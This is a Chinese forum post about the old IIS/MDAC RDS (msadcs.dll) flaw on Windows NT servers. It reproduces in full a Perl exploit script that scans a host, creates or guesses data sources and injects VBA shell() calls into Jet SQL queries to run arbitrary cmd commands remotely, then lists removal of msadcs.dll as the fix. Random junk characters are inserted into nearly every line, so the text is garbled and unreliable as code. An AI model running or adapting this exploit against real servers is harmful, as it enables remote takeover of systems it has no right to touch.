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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) f e^s`dsG  
s1%2({wP  
涉及程序: [P)](8nR[  
Microsoft NT server 5*B'e{C  
mkBQ TQGT  
描述: .rDao]K  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 8|hi2Qeu,c  
b3GTsX\2|  
详细: &s\,+d0  
如果你没有时间读详细内容的话,就删除: rg%m   
c:\Program Files\Common Files\System\Msadc\msadcs.dll D[YdPg@-  
有关的安全问题就没有了。 FY+@fy  
^:O*Sx.CA  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 K TE*Du  
DuQ:82 3b  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >Bm>/%2  
关于利用ODBC远程漏洞的描述,请参看: $'a]lR  
lL'K1%{+ \  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^ilgd  
Ut2x4$9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QYBLU7  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp bX%4[BKP  
eo"XHP7ja  
这里不再论述。 &Fmen;(  
')fIa2dO/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: dsK ^-e6:5  
GsqO^SV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $VxuaOTyVZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]HG> Og  
MAc/ T.[  
N71^I"@HH  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ZU9RvtbKB  
B,4GxoX`  
#!perl FQMA0"(G$  
# o3OJI_ v &  
# MSADC/RDS 'usage' (aka exploit) script "KY]2v.  
# ~;wR}s<}(  
# by rain.forest.puppy <&t[E0mU  
# SQw"mO  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :f RGXrn  
# beta test and find errors! g87M"kQKA  
<2+FE/3L  
use Socket; use Getopt::Std; ` -<S13  
getopts("e:vd:h:XR", \%args); "1ZVuI  
I?<ibLpX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ]RW*3X  
O=Vj*G ,  
if (!defined $args{h} && !defined $args{R}) { 23zR0z(L  
print qq~ DEzL]1;P  
Usage: msadc.pl -h <host> { -d <delay> -X -v } fvDcE]_%H  
-h <host> = host you want to scan (ip or domain) wqXo]dX  
-d <seconds> = delay between calls, default 1 second baf@"P9@\A  
-X = dump Index Server path table, if available V Z60   
-v = verbose %U97{y  
-e = external dictionary file for step 5 Fi+,omB&  
_1\H{x  
Or a -R will resume a command session  qJj5_  
g aXF3v*j  
~; exit;} ??P> HVx  
+$G P(Uu,  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Tr HUM4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @v}M\$N?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .-p?skm=a  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); j 2Jew  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8GT{vW9  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7I6& *I  
s3gT6  
if (!defined $args{R}){ $ret = &has_msadc; b=Q%Jxz?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} YccD ^w[`B  
T:udw  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" }/.b@`Dh;  
. "cmd /c "; Y{m1\s/o  
$in=<STDIN>; chomp $in; r P&.`m88n  
$command="cmd /c " . $in ; [-Mfgw]i  
(Yc}V  
if (defined $args{R}) {&load; exit;} wQ9fPOm  
mY]R~:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9t0NO-a  
&try_btcustmr; n11eJEtm  
Gh{vExH@5(  
print "\nStep 2: Trying to make our own DSN..."; 2` h  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; %XWb|-=  
zeHs5P8}r  
print "\nStep 3: Trying known DSNs..."; XE*#5u8t  
&known_dsn; mv9@Az9  
qVJC O-K|  
print "\nStep 4: Trying known .mdbs..."; ^G(+sb[t  
&known_mdb; 2ISnWzq;  
locf6%2g~  
if (defined $args{e}){ knu>{a}  
print "\nStep 5: Trying dictionary of DSN names..."; ?|we.{  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } k%ckV`y  
@X0$X+]E*8  
print "Sorry Charley...maybe next time?\n"; H52] Zm  
exit; ,O"zz7  
;z^C\=om  
############################################################################## Ha/-v?E  
,7|2K&C5  
sub sendraw { # ripped and modded from whisker r;&rc:?A  
sleep($delay); # it's a DoS on the server! At least on mine... :mz6*0qW  
my ($pstr)=@_; 25`6V>\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (K->5rSU  
die("Socket problems\n"); ~G`(=\_0  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5ayH5=(t  
select(S); $|=1; Zo36jSrCL  
print $pstr; my @in=<S>; IqmoWn3  
select(STDOUT); close(S); 0N*~"j;r#M  
return @in; k:kx=K5=4  
} else { die("Can't connect...\n"); }} ^0&   
Ea[K$NC)#  
############################################################################## 9mH/xP:y  
\P0>TWE  
sub make_header { # make the HTTP request #+Cu&l  
my $msadc=<<EOT ,Tc598D  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 XQL]I$?  
User-Agent: ACTIVEDATA Q68q76  
Host: $ip *b]$lj  
Content-Length: $clen N;]"_"  
Connection: Keep-Alive `+Ojh>"*z*  
2q.J1:lW  
ADCClientVersion:01.06 &8uq5uKg  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ;?0k>  
%,G0)t   
--!ADM!ROX!YOUR!WORLD! }zu?SZH  
Content-Type: application/x-varg  h48 jKL(  
Content-Length: $reqlen seEG~/U<  
3]}wZY0  
EOT Kr|9??`0E  
; $msadc=~s/\n/\r\n/g; re\&'%~K  
return $msadc;} Vi1= E])  
E"$AOM?(*i  
############################################################################## 7LY4q/  
F%pYnHr<  
sub make_req { # make the RDS request v9s /!<j  
my ($switch, $p1, $p2)=@_; 7ClN-/4  
my $req=""; my $t1, $t2, $query, $dsn; BiUbg6T.G  
li?RymlF  
if ($switch==1){ # this is the btcustmr.mdb query %-eags~sUC  
$query="Select * from Customers where City=" . make_shell(); d'Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7R`:^}'>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @e_<OU  
]%VR Nm  
elsif ($switch==2){ # this is general make table query \d#|n u  
$query="create table AZZ (B int, C varchar(10))"; jN43vHm\Y9  
$dsn="$p1";}  &(Ot(.  
u*J,3o} <  
elsif ($switch==3){ # this is general exploit table query 1FiFP5  
$query="select * from AZZ where C=" . make_shell(); ~4fjFo&_\  
$dsn="$p1";} Y^-faL7*\  
w8df-]r  
elsif ($switch==4){ # attempt to hork file info from index server L^zF@n^5A  
$query="select path from scope()"; HqpwQ  
$dsn="Provider=MSIDXS;";} BHh%3Q  
{m/h3hjFa  
elsif ($switch==5){ # bad query \.tnzP D  
$query="select"; S0 AaJty  
$dsn="$p1";} #sK:q&/G`  
MwN.Ll  
$t1= make_unicode($query); 3~7X2}qU  
$t2= make_unicode($dsn); &nk[gb o\  
$req = "\x02\x00\x03\x00"; D/1f> sl  
$req.= "\x08\x00" . pack ("S1", length($t1)); ? L A>5  
$req.= "\x00\x00" . $t1 ; IOx9".  
$req.= "\x08\x00" . pack ("S1", length($t2)); `$*cW1  
$req.= "\x00\x00" . $t2 ; h`0'27\C  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; '7UW\KEB[}  
return $req;} 9b8ZOk'9_  
mgk<PY  
############################################################################## -c"nx$  
<lj;}@qQ<  
sub make_shell { # this makes the shell() statement  ahno$[  
return "'|shell(\"$command\")|'";} 4PwjG;!K  
b'Scoa7@'  
############################################################################## tp-PE?  
~9N n8g6  
sub make_unicode { # quick little function to convert to unicode s3sAw~++  
my ($in)=@_; my $out; u/5 ^N^@^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } b42"Y,sbB  
return $out;} h#ogL-UU  
df=G}M(  
############################################################################## N<lO!x1[H*  
z3V[ Vi  
sub rdo_success { # checks for RDO return success (this is kludge) "w#jC ~J<W  
my (@in) = @_; my $base=content_start(@in); &jh'B ,  
if($in[$base]=~/multipart\/mixed/){ %z}{jqD&:X  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ai!zb2j!E  
return 0;} @pcmVsIp  
|2#)lGA  
############################################################################## L{py\4z'_  
U,?[x2LF  
sub make_dsn { # this makes a DSN for us &&/2oP+z  
my @drives=("c","d","e","f"); @ j/UDM  
print "\nMaking DSN: "; :`~;~gW<  
foreach $drive (@drives) { h/7m.p]  
print "$drive: "; ^h}xFiAV#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bG`aF*10)!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i/j DwA  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); s}NE[Tw  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8ug\GlZc  
return 0 if $2 eq "404"; # not found/doesn't exist E>t5/^c)*w  
if($2 eq "200") { HAof,* h$  
foreach $line (@results) { g]sc)4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 8J}gj7^8  
} return 0;} osS?SuQTE  
r2WW}W  
############################################################################## r &<sSE;5  
W+v7OSd92  
sub verify_exists { #bz#&vt$  
my ($page)=@_; jA&ZO>4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3oH.1M/  
return $results[0];} T}%8Vlt]  
+HGPn0As  
############################################################################## X,)`< >=O  
G4=R4'hC  
sub try_btcustmr { hRU.^Fn#%  
my @drives=("c","d","e","f"); {$,t^hd  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lr>P/W\  
f~HC%C YH  
foreach $dir (@dirs) { @WmEcX|  
print "$dir -> "; # fun status so you can see progress s4RqY*VK  
foreach $drive (@drives) { ]kXiT Yg  
print "$drive: "; # ditto k,p:!S(bl  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ?<YQ %qaW7  
$reqlenlen=length( "$reqlen" ); i&%~:K*  
$clen= 206 + $reqlenlen + $reqlen; l[Hgh,  
`eD70h`XK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5cr d.1@^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0X.(BRI~6p  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e XB'>#&s  
LHQ$0LVt>T  
############################################################################## !'y9/  
|@6t"P]@  
sub odbc_error { :gD=F&V  
my (@in)=@_; my $base; U3R;'80 f  
my $base = content_start(@in); MLbmz\8a  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5G >{*K/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9/?@2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k0@b"y*  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p\A!"KC  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~F gxhK2+  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; PV[ Bqt  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . JDp"!x{O  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} zEHX:-f8  
<'{*6f@n  
############################################################################## V7+fNr]I  
Rm^3K   
sub verbose { reBAxmt   
my ($in)=@_; ~pv|  
return if !$verbose; %T~3xQ  
print STDOUT "\n$in\n";} MBeubS  
Wu}84W"!.V  
############################################################################## IE^xk@  
'AU:[eyUV  
sub save { |` N|S  
my ($p1, $p2, $p3, $p4)=@_; "s$$M\)T  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; V8Lp%*(3  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $,@PY5r  
close OUT;} DW@|H  
r |H 1Yy  
##############################################################################  ;rH<  
DG%vEM,y  
sub load { v(|Arm?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; `>i8$q%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); YadG05PDe  
@p=<IN>; close(IN); 50< QF  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); QPc4bg\J~t  
$target= inet_aton($ip) || die("inet_aton problems"); z CS.P.$  
print "Resuming to $ip ..."; e-Pn,j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J~}%j.QQ7  
if($p[1]==1) { hDn?R}^l{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; < 5 ?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F,[GdE;P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (uW$ch@2K  
if (rdo_success(@results)){print "Success!\n";} "!g}Q*   
else { print "failed\n"; verbose(odbc_error(@results));}} |TQ#[9C0  
elsif ($p[1]==3){ 0~/'c0Ho  
if(run_query("$p[3]")){ })V^t3  
print "Success!\n";} else { print "failed\n"; }} 4r+@7hnK  
elsif ($p[1]==4){ %1oh+'ES F  
if(run_query($drvst . "$p[3]")){ S)?V;@p6  
print "Success!\n"; } else { print "failed\n"; }} G!G]*p5  
exit;} IonphTcU!  
#YiphR&  
############################################################################## 51sn+h<w  
k_o$ Ci  
sub create_table { Iez`g<r  
my ($in)=@_; R^hlfKnt  
$reqlen=length( make_req(2,$in,"") ) - 28; ><&>JgM  
$reqlenlen=length( "$reqlen" ); *eF'<._[U  
$clen= 206 + $reqlenlen + $reqlen; NFs Cq_f  
my @results=sendraw(make_header() . make_req(2,$in,"")); {^z>uRZ3  
return 1 if rdo_success(@results); 6rP?$mn2  
my $temp= odbc_error(@results); verbose($temp); prk@uYCa =  
return 1 if $temp=~/Table 'AZZ' already exists/; io[>`@=  
return 0;} uht>@ WSg|  
{V7W!0;!  
############################################################################## qh]D=i  
}xA Eu,n^  
sub known_dsn { nT:F{2 M;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ^uV=|1<%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", iaV%*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~Y_5q)t(  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [C0"vOTUb  
 X_\$hF  
foreach $dSn (@dsns) { # n_gry!5  
print "."; |7$Q'3V  
next if (!is_access("DSN=$dSn")); 3Fgl zJ  
if(create_table("DSN=$dSn")){ L2Vj2o"x?  
print "$dSn successful\n"; @'~7O4WH  
if(run_query("DSN=$dSn")){ Ib&]1ger#=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +$;#bw)yH  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ]4X08Cm^  
l^cz&k=+  
############################################################################## 9OS~;9YR  
Hz >_tA"^T  
sub is_access { "XB6k 0.#  
my ($in)=@_; K_Q-9j  
$reqlen=length( make_req(5,$in,"") ) - 28; "n, %Hh  
$reqlenlen=length( "$reqlen" ); !>8/Xz~-  
$clen= 206 + $reqlenlen + $reqlen; 2{6%+>jB  
my @results=sendraw(make_header() . make_req(5,$in,"")); w;wgh`ur  
my $temp= odbc_error(@results); CZzgPId%x  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); f;`7}7C  
return 0;} 2Kmnt(>  
.gJv})Vi  
############################################################################## Xt%y>'.  
qydRmi  
sub run_query { U>-GM >  
my ($in)=@_; h`@z61UI  
$reqlen=length( make_req(3,$in,"") ) - 28;  p[8H!=`K  
$reqlenlen=length( "$reqlen" ); :#zVF[Y(2  
$clen= 206 + $reqlenlen + $reqlen; O:{N5+HVG  
my @results=sendraw(make_header() . make_req(3,$in,"")); _, r6t  
return 1 if rdo_success(@results); !q[r_wL  
my $temp= odbc_error(@results); verbose($temp); (R|_6[zy  
return 0;} )4;$;a1  
GQ8A}gwH  
############################################################################## "Q.KBX v/  
n|'}W+  
sub known_mdb { CxV$_J  
my @drives=("c","d","e","f","g"); ,{jF)NQaP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3-T"[tCe  
my $dir, $drive, $mdb; <ht^Ck  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; K&{ruHoKB  
X EL~y  
# this is sparse, because I don't know of many >h9T/J8  
my @sysmdbs=( "\\catroot\\icatalog.mdb", <"z9(t(V\%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", fAT+x1J\  
"\\system32\\certmdb.mdb", nkO4~p  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% #GfM!<q<  
6 9s%   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BmI'XB3'P  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <Em|0hth  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  5?34<B  
"\\cfusion\\cfapps\\security\\realm_.mdb", 5@nv cCp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .)|2^ 'W  
"\\cfusion\\database\\cfexamples.mdb", nhLw&V3y  
"\\cfusion\\database\\cfsnippets.mdb", \ ^3cNw  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", C>*1f|<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ) :st-I!o  
"\\cfusion\\brighttiger\\database\\cleam.mdb", WxJV zHtR  
"\\cfusion\\database\\smpolicy.mdb", El^V[s'3  
"\\cfusion\\database\cypress.mdb", R/\qDY,@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ;8Ts  
"\\website\\cgi-win\\dbsample.mdb", Ewa/6=]LA  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &`2$,zX#  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c9ea%7o{0a  
); #these are just }Sh3AH/  
foreach $drive (@drives) { bcUa'ZfN<  
foreach $dir (@dirs){ ?hOv Y)  
foreach $mdb (@sysmdbs) { M6lNdK  
print "."; @^t1SPp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  bE%*ZB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1UN$eb7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ +(m*??TAV  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; G DwijZw  
} else { print "Something's borked. Use verbose next time\n"; }}}}} h%ba!  
:OD-L)Or  
foreach $drive (@drives) { h/NI5   
foreach $mdb (@mdbs) { Z!z#+G  
print "."; V5!mV_EoR@  
if(create_table($drv . $drive . $dir . $mdb)){ ;6q`c !p7  
print "\n" . $drive . $dir . $mdb . " successful\n"; v9GfudTZR  
if(run_query($drv . $drive . $dir . $mdb)){ {q/D,Rh8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0[92&:c,  
} else { print "Something's borked. Use verbose next time\n"; }}}} '"9Wt@ .  
} 0O|l7mCr%I  
F @uOXNz)  
############################################################################## NI2-*G_M  
uX8G<7O^  
sub hork_idx { =PmIrvr'[5  
print "\nAttempting to dump Index Server tables...\n"; blmY=/]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; VX'G\Zz@h|  
$reqlen=length( make_req(4,"","") ) - 28; yUX<W'-Hev  
$reqlenlen=length( "$reqlen" ); >8EmfjUoc  
$clen= 206 + $reqlenlen + $reqlen; ;BW-ag \9  
my @results=sendraw2(make_header() . make_req(4,"","")); ,L;%-}#$  
if (rdo_success(@results)){ G8@LH   
my $max=@results; my $c; my %d; X-F:)/$xG  
for($c=19; $c<$max; $c++){ t|v_[Za}Z  
$results[$c]=~s/\x00//g; -"x25~k!?F  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <]u]rZc$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; qj*77  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; b/&{:g!B  
$d{"$1$2"}="";} POb2U1Sj  
foreach $c (keys %d){ print "$c\n"; } >]/aG!  
} else {print "Index server doesn't seem to be installed.\n"; }} tREC)+*\  
S!g0J}.z  
############################################################################## f"d4HZD^  
8RJa;JsH  
sub dsn_dict { T%@qlEmf  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); |K'7BK_^J  
while(<IN>){ o(Q='kK  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; */ok]kX'  
next if (!is_access("DSN=$dSn")); 43/!pW  
if(create_table("DSN=$dSn")){ BF(Kaf;<t.  
print "$dSn successful\n"; PaBqv]  
if(run_query("DSN=$dSn")){ fK5iOj'Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @ iaz_;  
print "Something's borked. Use verbose next time\n";}}} ke5_lr(  
print "\n"; close(IN);} WbHI>tt  
T#=&oy7  
############################################################################## M<3m/l%`Y  
r=ht:+m  
sub sendraw2 { # ripped and modded from whisker cE3V0voSw1  
sleep($delay); # it's a DoS on the server! At least on mine... Y@'ahxF  
my ($pstr)=@_; `E5vO1Pl  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || KZI-/H+  
die("Socket problems\n"); "kg?Or.  
if(connect(S,pack "SnA4x8",2,80,$target)){ c\N-B,m&  
print "Connected. Getting data"; fR,7l9<%Zp  
open(OUT,">raw.out"); my @in; V6tUijz  
select(S); $|=1; print $pstr; G-G\l?R(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Wfj*)j Q  
close(OUT); select(STDOUT); close(S); return @in; W%P0X5YQ  
} else { die("Can't connect...\n"); }} m*\XH DB  
y*5$B.u`.  
############################################################################## K&%YTA  
9 p`|~^X  
sub content_start { # this will take in the server headers r]O8|#P,Z$  
my (@in)=@_; my $c; )Ga 3Ji}'  
for ($c=1;$c<500;$c++) { X{;3gN  
if($in[$c] =~/^\x0d\x0a/){ (0QYX[(r~o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  nCSXvd/  
else { return $c+1; }}} -LMO f?  
return -1;} # it should never get here actually ]tO9<  
G FO(O  
##############################################################################  #)28ESj  
0?\d%J!"S  
sub funky { 4e9'yi  
my (@in)=@_; my $error=odbc_error(@in); !_LRuqQ?"  
if($error=~/ADO could not find the specified provider/){ D(^ |'1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `I)ftj%  
exit;} ] KR\<MJK  
if($error=~/A Handler is required/){ bcE%EQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; \&1Di\eL  
exit;} D3kx&AR  
if($error=~/specified Handler has denied Access/){ etLA F  
print "\nServer has custom handler filters (they most likely are patched)\n"; a?ii)GGq  
exit;}} w@\quy:  
7|$ H}$  
############################################################################## x\!Uk!fM  
7s'r3}B`  
sub has_msadc { uY*|bD`6&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); x2 m A  
my $base=content_start(@results); '3V?M;3|K  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); bhc .UmH  
return 0;} ]2'{W]m  
rd4\N2- 6  
######################## @Z%I g  
I\oI"\}U  
% .n 7+  
解决方案: o9D]\PdL>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'CC;=@J  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 YQk<1./}I  
rezH5d6z62  
拿出来充数 哈哈
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